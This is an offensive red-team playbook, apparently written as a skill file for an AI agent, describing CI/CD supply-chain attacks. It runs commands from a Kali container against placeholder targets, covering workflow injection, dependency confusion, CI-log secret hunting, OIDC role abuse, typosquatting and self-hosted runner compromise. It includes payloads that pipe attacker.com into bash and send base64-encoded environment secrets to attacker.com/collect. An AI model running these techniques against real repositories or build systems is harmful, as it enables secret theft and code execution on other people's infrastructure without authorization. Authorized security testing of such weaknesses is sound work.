---
name: rt-supply-chain-cicd
description: "CI/CD supply chain attacks: GitHub Actions poisoning, dependency confusion, typosquatting packages, compromised build tools, artifact tampering, secrets in CI logs, OIDC token abuse, workflow injection, self-hosted runner compromise."
---

# rt-supply-chain-cicd

## Attack Surface

```
CI/CD Supply Chain:
├── Source code         → workflow injection, branch protection bypass
├── Build tools         → compromised compiler, build system RCE  
├── Dependencies        → dependency confusion, typosquatting
├── CI/CD platform      → GitHub Actions poisoning, secrets theft
├── Artifacts           → image tampering, package registry poisoning
└── Deployment keys     → leaked secrets, OIDC token abuse
```

---

## 1. GitHub Actions Workflow Injection

```yaml
# Vulnerable workflow — untrusted input used in run step
name: PR Check
on: pull_request_target     # ← dangerous: runs with write permissions

jobs:
  check:
    runs-on: ubuntu-latest
    steps:
    - name: Check PR title
      run: |
        echo "Checking: ${{ github.event.pull_request.title }}"  # ← INJECTION
        # Attacker creates PR with title: "; curl attacker.com/steal | bash #"
```

```bash
# Test for workflow injection
# Look for patterns: ${{ github.event.*.body }}, ${{ github.event.*.title }}
# combined with: pull_request_target trigger

docker exec rtexit-kali bash -c "
# Clone target repo and scan for vulnerable patterns
git clone https://github.com/{target}/{repo} /tmp/target-repo --depth 1
grep -r 'pull_request_target' /tmp/target-repo/.github/workflows/ 
grep -r '\${{ github.event.pull_request' /tmp/target-repo/.github/workflows/
grep -r '\${{ github.head_ref' /tmp/target-repo/.github/workflows/
"
```

## 2. Dependency Confusion Attack

```bash
# Check if target uses private packages (scoped or internal names)
# Then publish same name to public registry

# Recon: find internal package names
docker exec rtexit-kali bash -c "
# From package.json in repos
cat /tmp/target-repo/package.json | python3 -c \"
import sys,json
pkg = json.load(sys.stdin)
internal = [d for d in pkg.get('dependencies',{}) if not d.startswith('@')]
print('Internal packages:', internal)
\"
"

# Find packages not on npm (could be internal):
docker exec rtexit-kali bash -c "
for pkg in {package_list}; do
  status=\$(curl -sk -o /dev/null -w '%{http_code}' 'https://registry.npmjs.org/\$pkg')
  [ \"\$status\" = '404' ] && echo 'NOT ON NPM (confusion target): '\$pkg
done"

# Similar for PyPI:
docker exec rtexit-kali bash -c "
for pkg in {package_list}; do
  status=\$(curl -sk -o /dev/null -w '%{http_code}' 'https://pypi.org/pypi/\$pkg/json')
  [ \"\$status\" = '404' ] && echo 'NOT ON PYPI: '\$pkg
done"
```

## 3. Secrets in CI/CD Logs

```bash
# Search GitHub Actions logs for leaked secrets
docker exec rtexit-kali bash -c "
# Use GitHub API to get workflow run logs
curl -H 'Authorization: Bearer {github_token}' \
  'https://api.github.com/repos/{owner}/{repo}/actions/runs?per_page=20' | \
  python3 -c \"
import sys,json
runs = json.load(sys.stdin)
for run in runs.get('workflow_runs', []):
    print(run['id'], run['name'], run['conclusion'])
\"
"

# Download logs from a specific run
curl -H "Authorization: Bearer {github_token}" \
  -L "https://api.github.com/repos/{owner}/{repo}/actions/runs/{run_id}/logs" \
  -o /tmp/logs.zip

# Extract and search for secrets
docker exec rtexit-kali bash -c "
unzip -o /tmp/logs.zip -d /tmp/ci-logs/
grep -r -i 'password\|token\|secret\|api_key\|aws_\|private_key' /tmp/ci-logs/ | head -20
docker exec rtexit-kali bash -c 'gitleaks detect --source /tmp/ci-logs/ -r /workspace/findings/ci-secrets.json'
"
```

## 4. OIDC Token Abuse (GitHub → AWS/GCP/Azure)

```yaml
# Vulnerable: workflow requests too broad OIDC token
jobs:
  deploy:
    permissions:
      id-token: write   # ← if this is set globally + role has excess permissions
    steps:
    - uses: aws-actions/configure-aws-credentials@v4
      with:
        role-to-assume: arn:aws:iam::123456789:role/github-deploy
        # If role trust policy accepts any repo/branch → abuse from fork
```

```bash
# Test if OIDC role allows fork abuse
docker exec rtexit-kali bash -c "
# Check role trust policy
aws iam get-role --role-name github-deploy --query 'Role.AssumeRolePolicyDocument' | python3 -c \"
import sys,json
policy = json.load(sys.stdin)
for stmt in policy.get('Statement', []):
    cond = stmt.get('Condition', {})
    sub = cond.get('StringLike', {}).get('token.actions.githubusercontent.com:sub', '')
    print('Sub condition:', sub)
    # Vulnerable: 'repo:{org}/*:*' or missing ref condition
\"
"
```

## 5. Typosquatting Detection & Attack

```bash
# Find common typos of target's packages
docker exec rtexit-kali bash -c "python3 << 'EOF'
# Generate typosquatting variants
import itertools

def typosquats(name):
    variants = set()
    # Missing letter
    for i in range(len(name)):
        variants.add(name[:i] + name[i+1:])
    # Extra letter
    for i in range(len(name)+1):
        for c in 'abcdefghijklmnopqrstuvwxyz-_':
            variants.add(name[:i] + c + name[i:])
    # Wrong letter
    for i in range(len(name)):
        for c in 'abcdefghijklmnopqrstuvwxyz-_':
            variants.add(name[:i] + c + name[i+1:])
    return variants - {name}

for pkg in ['{package_name}']:
    squats = typosquats(pkg)
    print(f'Typosquats of {pkg}: {len(squats)} variants')
    # Check which exist on npm
    import subprocess, json
    for s in list(squats)[:10]:
        r = subprocess.run(['curl','-sk','https://registry.npmjs.org/'+s], capture_output=True)
        if r.returncode == 0 and b'\"name\"' in r.stdout:
            print(f'  EXISTS: {s}')
EOF"
```

## 6. Self-Hosted Runner Compromise

```bash
# Self-hosted runners often have access to internal networks
# If a repo is public, anyone can trigger workflows on self-hosted runners

# Test: submit PR to public repo using self-hosted runners
# Payload in workflow file:
# jobs:
#   test:
#     runs-on: self-hosted
#     steps:
#     - run: curl -d "$(env | base64)" https://attacker.com/collect

# Check for self-hosted runners via API
docker exec rtexit-kali bash -c "
curl -H 'Authorization: Bearer {github_token}' \
  'https://api.github.com/repos/{owner}/{repo}/actions/runners' | \
  python3 -c \"
import sys,json
d = json.load(sys.stdin)
for r in d.get('runners', []):
    print(r['name'], r['os'], r['labels'])
\""
```

## Related Skills

→ `rt-supply-chain` — General supply chain attacks
→ `rt-github-recon` — GitHub reconnaissance
→ `rt-exploit-cloud-aws` — OIDC to AWS exploitation
→ `rt-credential-hunt` — Secrets in code
